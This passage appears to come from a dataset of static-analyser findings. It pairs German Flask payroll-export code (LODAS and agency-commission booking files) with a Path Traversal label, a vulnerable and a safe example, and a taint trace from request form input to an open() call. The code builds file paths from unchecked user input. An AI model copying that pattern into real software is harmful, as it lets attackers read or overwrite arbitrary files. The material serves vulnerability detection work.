abrechnungsdaten.abrechnungsmonat==\\\"08\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"09\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"09\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"10\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"10\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"11\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"11\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"12\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"12\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"01\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"01\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"02\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"02\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"03\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"03\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"04\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"04\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"05\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"05\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"06\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"06\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"07\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"07\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"08\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"08\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"09\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"09\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"10\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"10\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"11\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"11\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n elif var_stmonat==\"12\" and var_stjahr==\"2025\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"12\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2025\\\" \", engine)\n \n else:\n var_version_titel = setting.Version_Titel\n var_version_program = setting.Version_Program\n var_text=(\"Zeitraum nicht verfügbar!\")\n return render_template('/index.html', v_text=var_text, v_bnr=var_beraternummer, v_mdt=var_mandantennummer, v_heute=\"Fehler !\", v_monat=var_abrmonat, v_jahr=var_abrjahr, v_version_program=var_version_program, v_version_titel=var_version_titel)\n\n### variabler Monat aktuell nicht abfragebar - result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==var_stmonat AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n result.to_csv(\"export/\"+var_beraternummer+\"_\"+var_mandantennummer+\"_\"+var_stmonat+\"_\"+var_stjahr+\"_Export_Monatsauswertung_16.csv\", sep=';', encoding='utf-16', index=False, mode='w') \n result.to_csv(\"export/\"+var_beraternummer+\"_\"+var_mandantennummer+\"_\"+var_stmonat+\"_\"+var_stjahr+\"_Export_Monatsauswertung_8.csv\", sep=';', encoding='utf-8', index=False, mode='w') \n # Zwischendatei anlegen für Buchungsliste Agenturprovision AG Anteil\n result.to_csv(\"daten/ZW_Buchungsliste_AGP_AG.txt\", sep='|', encoding='utf-8', index=False, header=False, mode='w') \n result.to_csv(\"daten/ZW_Buchungsliste_AGP_AN.txt\", sep='|', encoding='utf-8', index=False, header=False, mode='w') \n\n # Quell und Zieldatei öffnen - Agenturprov AG Werte in Buchungsliste zu schreiben \n filequelle=open(\"daten/ZW_Buchungsliste_AGP_AG.txt\")\n fileziel=open(\"export/\"+var_beraternummer+\"_\"+var_mandantennummer+\"_\"+var_stmonat+\"_\"+var_stjahr+\"_AGP_AGWerte_Buchungsliste.csv\",\"w\", encoding='utf-8')\n\n #Beschreibung der Felder aus der Quelldatei\n #stelle 1 = Satznummer; stelle 2 = BNR; stelle 3 = Mdt; stelle 4 = PNR; stelle 5 = Lohnart; stelle 6 = LohnartText; stelle 7 = Wert; stelle 8 = Kostenstelle; stelle 9 = Kostenträger;\n #stelle 10 = Art der Tätigkeit; stelle 11 = Freitext; stelle 12 = Buchungsmonat; stelle 13 = Buchungsjahr; stelle 14 = %Agentur gesamt; stelle 15 = %Agentur AN Anteil; stelle 16 = agenturprovwert_AN; \n #stelle 17 = agenturprovwert_AG, stelle 18 = lohnartustabzug; stelle 19 = ustwert; stelle 20 = kontoust; stelle 21 = exportlodas; stelle 22 = exportlohnundgehalt; stelle 23 = exportwiederholung; \n #stelle 24 = exportdatum; stelle 25 = Agenturnummer\n AGP_Gegenkonto = funktionen.fibukonten_dic_lesen(\"konto_ggagp\")\n \n \n #Beschreibung Exportdatei\n #AGP Gegenkonto (aus dict); Agentur (Personenkonto Rewe) wird auf 99988 gesetzt falls leer; Wert AGP AG in -; Buchungsdatum mit 01MMJJJJ; freier Text als Buchungstext 120 Zeichen ?????\n for x in filequelle:\n stelle1,stelle2,stelle3,stelle4,stelle5,stelle6,stelle7,stelle8,stelle9,stelle10,stelle11,stelle12,stelle13,stelle14,stelle15,stelle16,stelle17,stelle18,stelle19,stelle20,stelle21,stelle22,stelle23,stelle24,stelle25=x.split(\"|\")\n stelle25 = (stelle25.strip())\n if str(stelle17) != \"0.0\" and str(stelle17) != \"0\":\n if stelle25 == \"\":\n stelle25 = \"99988\"\n fileziel.write(AGP_Gegenkonto+\";\"+stelle25+\";\"+stelle17+\";01\"+stelle12+stelle13+\";\"+stelle8+\";\"+stelle9+\";PNR: \"+stelle4+\" AGP %: \"+stelle14+\" davon AGP AN %: \"+stelle15+\" Text:\"+stelle11+\";0\\n\")\n filequelle.close()\n fileziel.close()\n\n # Quell und Zieldatei öffnen - AGP Werte um Buchungsliste zu schreiben \n filequelle=open(\"daten/ZW_Buchungsliste_AGP_AN.txt\")\n fileziel=open(\"export/\"+var_beraternummer+\"_\"+var_mandantennummer+\"_\"+var_stmonat+\"_\"+var_stjahr+\"_AGP_ANWerte_Buchungsliste.csv\",\"w\", encoding='utf-8')\n\n # Buchungsliste Agenturprov AN Werte schreiben\n AGP_AN_Gegenkonto = funktionen.fibukonten_dic_lesen(\"konto_ggagpan\")\n \n #Beschreibung Exportdatei\n #AGP Gegenkonto (aus dict); Agentur (Personenkonto Rewe) wird auf 99988 gesetzt falls leer; Wert AGP AN in -; Buchungsdatum mit 01MMJJJJ; freier Text als Buchungstext 120 Zeichen ?????\n for x in filequelle:\n stelle1,stelle2,stelle3,stelle4,stelle5,stelle6,stelle7,stelle8,stelle9,stelle10,stelle11,stelle12,stelle13,stelle14,stelle15,stelle16,stelle17,stelle18,stelle19,stelle20,stelle21,stelle22,stelle23,stelle24,stelle25=x.split(\"|\")\n stelle25 = (stelle25.strip())\n if str(stelle16) != \"0.0\" and str(stelle16) != \"0\":\n if stelle25 == \"\":\n stelle25 = \"99988\"\n fileziel.write(AGP_AN_Gegenkonto+\";\"+stelle25+\";\"+stelle16+\";01\"+stelle12+stelle13+\";\"+stelle8+\";\"+stelle9+\";PNR: \"+stelle4+\" AGP %: \"+stelle14+\" davon AGP AN %: \"+stelle15+\" Text:\"+stelle11+\";0\\n\")\n filequelle.close()\n fileziel.close()\n\n #Beschreibung der Felder aus der Quelldatei\n #stelle 1 = Satznummer; stelle 2 = BNR; stelle 3 = Mdt; stelle 4 = PNR; stelle 5 = Lohnart; stelle 6 = LohnartText; stelle 7 = Wert; stelle 8 = Kostenstelle; stelle 9 = Kostenträger;\n #stelle 10 = Art der Tätigkeit; stelle 11 = Freitext; stelle 12 = Buchungsmonat; stelle 13 = Buchungsjahr; stelle 14 = %Agentur gesamt; stelle 15 = %Agentur AN Anteil; stelle 16 = agenturprovwert_AN; \n #stelle 17 = agenturprovwert_AG, stelle 18 = lohnartustabzug; stelle 19 = ustwert; stelle 20 = kontoust; stelle 21 = exportlodas; stelle 22 = exportlohnundgehalt; stelle 23 = exportwiederholung; \n #stelle 24 = exportdatum; stelle 25 = Agenturnummer\n \n # Quell und Zieldatei öffnen - AGP Werte um Buchungsliste zu schreiben \n filequelle=open(\"daten/ZW_Buchungsliste_AGP_AG.txt\")\n fileziel=open(\"export/\"+var_beraternummer+\"_\"+var_mandantennummer+\"_\"+var_stmonat+\"_\"+var_stjahr+\"_AG_USt_Werte_Buchungsliste.csv\",\"w\", encoding='utf-8')\n\n # Buchungsliste Agenturprov AN Werte schreiben\n AG_USt_konto = funktionen.fibukonten_dic_lesen(\"konto_ust19\")\n GG_AG_USt_konto = funktionen.fibukonten_dic_lesen(\"konto_ggust19\") \n \n #Beschreibung Exportdatei\n #AG USt Gegenkonto (aus dict); Agentur (Personenkonto Rewe) wird auf \"unbekannt\" gesetzt falls leer; Buchungsdatum mit 01MMJJJJ; freier Text als Buchungstext 120 Zeichen ?????\n for x in filequelle:\n stelle1,stelle2,stelle3,stelle4,stelle5,stelle6,stelle7,stelle8,stelle9,stelle10,stelle11,stelle12,stelle13,stelle14,stelle15,stelle16,stelle17,stelle18,stelle19,stelle20,stelle21,stelle22,stelle23,stelle24,stelle25=x.split(\"|\")\n stelle25 = (stelle25.strip())\n if str(stelle18) == \"0\" and str(stelle19) != \"0\" and str(stelle19) != \"0.0\":\n if str(stelle16) != \"0.0\" and str(stelle16) != \"0\":\n if stelle25 == \"\":\n stelle25 = \"AG unbekannt\"\n fileziel.write(AG_USt_konto+\";\"+GG_AG_USt_konto+\";\"+stelle19+\";01\"+stelle12+stelle13+\";\"+stelle8+\";\"+stelle9+\";PNR: \"+stelle4+\" Agentur: \"+stelle25+\" Text:\"+stelle11+\";0\\n\")\n filequelle.close()\n fileziel.close()\n\n ##################### PDF Block --------------------------- - NOCH OFFEN\n #\n ##################### komplett entfernt \n \n if result.shape[0] != 0:\n var_text = result.shape[0]\n var_text=\"Es wurden \"+str(var_text)+\" Datensätze in die Datei Export_Steuer exportiert. Weitere Auswertungen stehen zur Verfügung.\"\n else:\n var_text=\"Es wurden keine Datensätze als Steuerwerte exportiert\"\n\n \n return var_text, var_stmonat, var_stjahr \n\n\n \ndef export_csv(var_abrmonat, var_abrjahr, var_beraternummer, var_mandantennummer):\n \n engine = create_engine('sqlite:///daten/abrechnungsdaten.db')\n metadata = datenbank_obj.getdbmetadata(engine)\n abrechnungsdaten = datenbank_obj.abrechnungsdaten_dbobj(metadata)\n metadata.create_all()\n\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten\", engine)\n result.to_csv(\"export/\"+var_beraternummer+\"_\"+var_mandantennummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"_Export.csv\", sep=';', encoding='utf-16', index=False, mode='w') \n if result.shape[0] != 0:\n var_text = result.shape[0]\n var_text=\"Es wurden \"+str(var_text)+\" Datensätze als csv Daten exportiert.\"\n else:\n var_text=\"Es wurden keine Datensätze als csv Daten exportiert\"\n\n # Export alle DS nach Excel\n\n return var_text\n\n## sollte nach vielen anpassungen nicht mehr funktionieren - ungeprüft\ndef export_lohnundgehalt(var_abrmonat, var_abrjahr, var_beraternummer, var_mandantenummer):\n\n engine = create_engine('sqlite:///daten/abrechnungsdaten.db')\n metadata = datenbank_obj.getdbmetadata(engine)\n abrechnungsdaten = datenbank_obj.abrechnungsdaten_dbobj(metadata)\n metadata.create_all()\n\n if request.method == 'POST':\n neuedatei = open(\"export/\"+var_beraternummer+\"_\"+var_mandantenummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"LuG.txt\", \"w\")\n neuedatei.write(var_beraternummer+\";\"+var_mandantenummer+\";\"+var_abrmonat+\"/\"+var_abrjahr+\"\\n\")\n neuedatei.close()\n \n # Export der Lohnarten und Nettobe/abzüge \n result = pd.read_sql(\"SELECT abrechnungsdaten.PNR, abrechnungsdaten.lohnart, abrechnungsdaten.wert, abrechnungsdaten.kostenstelle, abrechnungsdaten.kostentraeger FROM abrechnungsdaten WHERE abrechnungsdaten.exportlohnundgehalt==\\\"N\\\" \", engine)\n result.to_csv(\"export/\"+var_beraternummer+\"_\"+var_mandantenummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"LuG.txt\", sep=';', encoding='utf-8', index=False, header=False, mode='a') \n\n ### NEU AGP und UST auch in LUG Datei\n # Export der USt in Zwischendatei\n result = pd.read_sql('SELECT abrechnungsdaten.PNR, abrechnungsdaten.lohnartustabzug, abrechnungsdaten.ustwert, abrechnungsdaten.kostenstelle, abrechnungsdaten.kostentraeger FROM abrechnungsdaten WHERE abrechnungsdaten.ustwert != \"0\" AND abrechnungsdaten.exportlohnundgehalt==\\\"N\\\" ', engine)\n result.to_csv(\"export/\"+var_beraternummer+\"_\"+var_mandantenummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"LuG.txt\", sep=';', encoding='utf-8', index=False, header=False, mode='a') \n \n # Export der Agenturprovision in Zwischendatei\n result = pd.read_sql('SELECT abrechnungsdaten.PNR, abrechnungsdaten.agenturprovwert_AN, abrechnungsdaten.kostenstelle, abrechnungsdaten.kostentraeger FROM abrechnungsdaten WHERE abrechnungsdaten.agenturprovwert_AN != \"0\" AND abrechnungsdaten.exportlohnundgehalt==\\\"N\\\" ', engine)\n result.to_csv(\"daten/ZW_LuG_AGP.txt\", sep='|', encoding='utf-8', index=False, header=False, mode='w') \n\n ############\n # Quell und Zieldatei öffnen - AGP Werte um Lohnart einzufügen \n filequelle=open(\"daten/ZW_LuG_AGP.txt\")\n fileziel=open(\"export/\"+var_beraternummer+\"_\"+var_mandantenummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"LuG.txt\",\"a\", encoding='utf-8')\n \n #Beschreibung der Felder aus der Quelldatei\n #stelle 1 = PNR; stelle 2 = Wert; stelle 3 = Kostenstelle; stelle 4 = Kostentraeger \n AGP_Lohnart = funktionen.lohnarten_dic_lesen(\"loa_nb6\")\n for x in filequelle:\n stelle1,stelle2,stelle3,stelle4=x.split(\"|\")\n stelle4 = (stelle4.strip())\n# stelle2 = stelle2.replace(\".\", \",\") \n fileziel.write(stelle1+\";\"+AGP_Lohnart+\";\"+stelle2+\";\"+stelle3+\";\"+stelle4+\"\\n\")\n\n filequelle.close()\n fileziel.close()\n\n \n hdatum = datetime.datetime.now()\n hdatum = hdatum.strftime(\"%d.%m.%Y\")\n conn = engine.connect() \n abrechnungsdatenupdate = abrechnungsdaten.update().where(abrechnungsdaten.c.exportlohnundgehalt==\"N\").values(exportlohnundgehalt=\"J\", exportlodas=\"X\", exportwiederholung=\"X\", abrechnungsmonat=var_abrmonat, abrechnungsjahr=var_abrjahr, exportdatum=str(hdatum))\n conn.execute(abrechnungsdatenupdate)\n abrechnungsdatenupdate = abrechnungsdaten.select()\n conn.execute(abrechnungsdatenupdate).fetchall()\n \n if result.shape[0] != 0:\n var_text = result.shape[0]\n var_text=\"Es wurden \"+str(var_text)+\" Datensätze für Lohn und Gehalt exportiert.\"\n\n filequelle=open(\"daten/abrechnungszeitraum.txt\",\"r\", encoding='utf-8')\n for x in filequelle:\n var_abrmonat,var_abrjahr=x.split(\"|\")\n break\n var_abrmonat = int(var_abrmonat)+1\n if var_abrmonat < 10:\n var_abrmonat = str(var_abrmonat)\n var_abrmonat = \"0\"+var_abrmonat\n else:\n var_abrmonat = str(var_abrmonat)\n \n if var_abrmonat == \"13\":\n var_abrmonat = \"01\"\n var_abrjahr = int(var_abrjahr)+1\n var_abrjahr = str(var_abrjahr)\n filequelle=open(\"daten/abrechnungszeitraum.txt\",\"w\")\n filequelle.write(var_abrmonat+\"|\"+var_abrjahr) \n filequelle.close()\n else:\n var_text=\"Es wurden keine Datensätze für Lohn und Gehalt exportiert\"\n pass\n else:\n var_text=\"Es werden die Datensätze der Monatsübersicht für Lohn und Gehalt exportiert\"\n pass\n\n return var_text\n\n\n### Export Lodas in Funktion aktuell 2022-02-14 mit AGP und USt\n### Tabellen auf Netto und Brutto geändert \n### NEU* 20220402 USt wenn AG übernimmt - LOA 0 in SQL DB\n### USt wenn AN trägt Nettoabzug in SQl DB\ndef export_lodas(var_abrmonat, var_abrjahr, var_beraternummer, var_mandantenummer):\n\n engine = create_engine('sqlite:///daten/abrechnungsdaten.db')\n metadata = datenbank_obj.getdbmetadata(engine)\n abrechnungsdaten = datenbank_obj.abrechnungsdaten_dbobj(metadata)\n metadata.create_all()\n\n if request.method == 'POST':\n if os.path.exists(\"export/\"+var_beraternummer+\"_\"+var_mandantenummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"_Lodas.txt\"):\n ## Datei öffnen und Daten werden angehangen\n fileziel=open(\"export/\"+var_beraternummer+\"_\"+var_mandantenummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"_Lodas.txt\",\"a\")\n fileziel.write(\"\\n* Stunden zur Abrechnung von Mitarbeitern\\n\")\n fileziel.write(\"[Bewegungsdaten]\\n\")\n \n else:\n ## Datei neu öffnen und Kopfdaten schreiben\n fileziel=open(\"export/\"+var_beraternummer+\"_\"+var_mandantenummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"_Lodas.txt\",\"w\")\n # schreiben in Lodas Importdatei\n fileziel.write(\"[Allgemein]\\nZiel=LODAS\\nVersion_SST=1.0\\nBeraterNr=\")\n fileziel.write(var_beraternummer)\n fileziel.write(\"\\nMandantenNr=\")\n fileziel.write(var_mandantenummer)\n fileziel.write(\"\\nDatumsformat=JJJJ-MM-TT\")\n fileziel.write(\"\\nStringbegrenzer='\")\n fileziel.write(\"\\n\\n* LEGENDE:\\n* Datei erzeugt mit Tool ARMTool\\n* AP: ; \\n\\n\")\n fileziel.write(\"* Satzbeschreibungen zur Übergabe von Bewegungsdaten für Mitarbeiter\\n[Satzbeschreibung]\\n\")\n# fileziel.write(\"\\n10;u_lod_bwd_buchung_brutto;abrechnung_zeitraum#bwd;pnr#bwd;la_eigene#bwd;brutto_fest_bez#bwd;kostenstelle#bwd;kostentraeger#bwd;\")\n # fileziel.write(\"\\n11;u_lod_bwd_buchung_netto;abrechnung_zeitraum#bwd;pnr#bwd;nba_nr#bwd;netto_betrag#bwd;\")\n fileziel.write(\"\\n10;u_lod_bwd_buchung_standard;abrechnung_zeitraum#bwd;pnr#bwd;la_eigene#bwd;bs_nr#bwd;bs_wert_butab#bwd;kostenstelle#bwd;kostentraeger#bwd;\")\n\n fileziel.write(\"\\n\\n\")\n fileziel.write(\"* Werte zur Abrechnung von Mitarbeitern\\n\\n\")\n fileziel.write(\"[Bewegungsdaten]\\n\\n\")\n \n# Export der USt in Zwischendatei\n# Neu* 20220401 ohne USt AG result = pd.read_sql('SELECT abrechnungsdaten.PNR, abrechnungsdaten.lohnartustabzug, abrechnungsdaten.ustwert, abrechnungsdaten.kostenstelle, abrechnungsdaten.kostentraeger FROM abrechnungsdaten WHERE abrechnungsdaten.ustwert != \"0\" AND abrechnungsdaten.exportlodas==\\\"N\\\" ', engine)\n result = pd.read_sql('SELECT abrechnungsdaten.PNR, abrechnungsdaten.lohnartustabzug, abrechnungsdaten.ustwert, abrechnungsdaten.kostenstelle, abrechnungsdaten.kostentraeger FROM abrechnungsdaten WHERE abrechnungsdaten.lohnartustabzug != \"0\" AND abrechnungsdaten.exportlodas==\\\"N\\\" ', engine)\n result.to_csv(\"daten/ZW_Lodas_USt.txt\", sep='|', encoding='utf-8', index=False, header=False, mode='w') \n# Export der Agenturprovision AN in Zwischendatei\n result = pd.read_sql('SELECT abrechnungsdaten.PNR, abrechnungsdaten.agenturprovwert_AN, abrechnungsdaten.kostenstelle, abrechnungsdaten.kostentraeger FROM abrechnungsdaten WHERE abrechnungsdaten.agenturprovwert_AN != \"0\" AND abrechnungsdaten.exportlodas==\\\"N\\\" ', engine)\n result.to_csv(\"daten/ZW_Lodas_AGP_AN.txt\", sep='|', encoding='utf-8', index=False, header=False, mode='w')\n# Export der Agenturprovision AG in Zwischendatei\n result = pd.read_sql('SELECT abrechnungsdaten.PNR, abrechnungsdaten.agenturprovwert_AG, abrechnungsdaten.kostenstelle, abrechnungsdaten.kostentraeger FROM abrechnungsdaten WHERE abrechnungsdaten.agenturprovwert_AG != \"0\" AND abrechnungsdaten.exportlodas==\\\"N\\\" ', engine)\n result.to_csv(\"daten/ZW_Lodas_AGP_AG.txt\", sep='|', encoding='utf-8', index=False, header=False, mode='w')\n # Export der Lohnarten und Nettobe/abzüge \n result = pd.read_sql('SELECT abrechnungsdaten.PNR, abrechnungsdaten.lohnart, abrechnungsdaten.wert, abrechnungsdaten.kostenstelle, abrechnungsdaten.kostentraeger FROM abrechnungsdaten WHERE abrechnungsdaten.exportlodas==\\\"N\\\" ', engine)\n result.to_csv(\"daten/ZW_Lodas.txt\", sep='|', encoding='utf-8', index=False, header=False, mode='w') \n\n ############\n # Quell und Zieldatei öffnen - AGP Werte\n filequelle=open(\"daten/ZW_Lodas_AGP_AN.txt\")\n fileziel=open(\"export/\"+var_beraternummer+\"_\"+var_mandantenummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"_Lodas.txt\",\"a\", encoding='utf-8')\n \n #Beschreibung der Felder aus der Quelldatei\n #stelle 1 = PNR; stelle 2 = Wert; stelle 3 = Kostenstelle; stelle 4 = Kostentraeger \n AGP_Lohnart = funktionen.lohnarten_dic_lesen(\"loa_nb6\")\n for x in filequelle:\n stelle1,stelle2,stelle3,stelle4=x.split(\"|\")\n stelle4 = (stelle4.strip())\n var_bs = \"3\"\n stelle2 = stelle2.replace(\".\", \",\") \n# fileziel.write(\"11;\"+var_abrjahr+\"-\"+var_abrmonat+\"-01;\"+stelle1+\";\"+AGP_Lohnart+\";\"+stelle2+\";\"+stelle3+\";\"+stelle4+\";\\n\")\n fileziel.write(\"10;\"+var_abrjahr+\"-\"+var_abrmonat+\"-01;\"+stelle1+\";\"+AGP_Lohnart+\";\"+var_bs+\";\"+stelle2+\";\"+stelle3+\";\"+stelle4+\";\\n\")\n\n filequelle.close()\n fileziel.close()\n\n ############\n # Quell und Zieldatei öffnen - USt Werte\n filequelle=open(\"daten/ZW_Lodas_Ust.txt\")\n fileziel=open(\"export/\"+var_beraternummer+\"_\"+var_mandantenummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"_Lodas.txt\",\"a\", encoding='utf-8')\n \n #Beschreibung der Felder aus der Quelldatei\n #stelle 1 = PNR; stelle 2 = Lohnart; stelle 3 = Wert; stelle 4 = Kostenstelle; stelle 5 = Kostentraeger\n for x in filequelle:\n stelle1,stelle2,stelle3,stelle4,stelle5=x.split(\"|\")\n stelle5 = (stelle5.strip())\n if int(stelle2) > 8999:\n var_bs = \"3\"\n var_sa = \"11\"\n\n else:\n var_bs = \"2\"\n var_sa = \"10\"\n stelle3 = stelle3.replace(\".\", \",\") \n# fileziel.write(var_sa+\";\"+var_abrjahr+\"-\"+var_abrmonat+\"-01;\"+stelle1+\";\"+stelle2+\";\"+stelle3+\";\"+stelle4+\";\"+stelle5+\";\\n\")\n fileziel.write(\"10;\"+var_abrjahr+\"-\"+var_abrmonat+\"-01;\"+stelle1+\";\"+stelle2+\";\"+var_bs+\";\"+stelle3+\";\"+stelle4+\";\"+stelle5+\";\\n\")\n\n filequelle.close()\n fileziel.close()\n\n filequelle=open(\"daten/ZW_Lodas.txt\")\n fileziel=open(\"export/\"+var_beraternummer+\"_\"+var_mandantenummer+\"_\"+var_abrmonat+\"_\"+var_abrjahr+\"_Lodas.txt\",\"a\", encoding='utf-8')\n \n #Beschreibung der Felder aus der Quelldatei\n #stelle 1 = PNR; stelle 2 = Lohnart; stelle 3 = Wert; stelle 4 = Kostenstelle; stelle 5 = Kostentraeger\n for x in filequelle:\n stelle1,stelle2,stelle3,stelle4,stelle5=x.split(\"|\")\n stelle5 = (stelle5.strip())\n if int(stelle2) > 8999:\n var_bs = \"3\"\n var_sa = \"11\"\n else:\n var_bs = \"2\"\n var_sa = \"10\"\n\n stelle3 = stelle3.replace(\".\", \",\") \n\n# fileziel.write(var_sa+\";\"+var_abrjahr+\"-\"+var_abrmonat+\"-01;\"+stelle1+\";\"+stelle2+\";\"+stelle3+\";\"+stelle4+\";\"+stelle5+\";\\n\")\n fileziel.write(\"10;\"+var_abrjahr+\"-\"+var_abrmonat+\"-01;\"+stelle1+\";\"+stelle2+\";\"+var_bs+\";\"+stelle3+\";\"+stelle4+\";\"+stelle5+\";\\n\")\n\n fileziel.write(\"\\n\\n[Hinweisdaten]\\n\\nDaten uebernommen aus Erfassungstool ARMTool\\nfuer die korrekte Berechnung saemtlicher Werte ist allein der Anwender verantwortlich!\\n\")\n #Dateien schließen\t\n filequelle.close()\n fileziel.close()\n\n ###################### \n hdatum = datetime.datetime.now()\n hdatum = hdatum.strftime(\"%d.%m.%Y\")\n conn = engine.connect() \n abrechnungsdatenupdate = abrechnungsdaten.update().where(abrechnungsdaten.c.exportlodas==\"N\").values(exportlohnundgehalt=\"X\", exportlodas=\"J\", exportwiederholung=\"X\", abrechnungsmonat=var_abrmonat, abrechnungsjahr=var_abrjahr, exportdatum=str(hdatum))\n conn.execute(abrechnungsdatenupdate)\n abrechnungsdatenupdate = abrechnungsdaten.select()\n conn.execute(abrechnungsdatenupdate).fetchall()\n \n if result.shape[0] != 0:\n var_text = result.shape[0]\n var_text=\"Es wurden \"+str(var_text)+\" Datensätze für Lodas exportiert.\"\n\n filequelle=open(\"daten/abrechnungszeitraum.txt\",\"r\", encoding='utf-8')\n for x in filequelle:\n var_abrmonat,var_abrjahr=x.split(\"|\")\n break\n var_abrmonat = int(var_abrmonat)+1\n if var_abrmonat < 10:\n var_abrmonat = str(var_abrmonat)\n var_abrmonat = \"0\"+var_abrmonat\n else:\n var_abrmonat = str(var_abrmonat)\n \n if var_abrmonat == \"13\":\n var_abrmonat = \"01\"\n var_abrjahr = int(var_abrjahr)+1\n var_abrjahr = str(var_abrjahr)\n filequelle=open(\"daten/abrechnungszeitraum.txt\",\"w\")\n filequelle.write(var_abrmonat+\"|\"+var_abrjahr) \n filequelle.close()\n pass\n else:\n var_text=\"Es wurden keine Datensätze für Lodas exportiert\"\n pass\n else:\n var_text=\"Es werden die Datensätze der Monatsübersicht für Lodas exportiert\"\n pass\n\n return var_text", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form[\"form_stjahr\"]"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 149, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "872000f5991868758706db7787943994e4c2009f41036dc19e55d8a91c9affe1", "license": {"spdx": ["MIT"], "repo": "Ekkosun/INC", "path": "mainpage.py", "repo_head_hexsha": "d924b752c1fb787ec82d5d7a400999dfcfa8e4ed", "stack_hexsha": "50499982175b0109b8593079db52c62cac2ddfee", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation 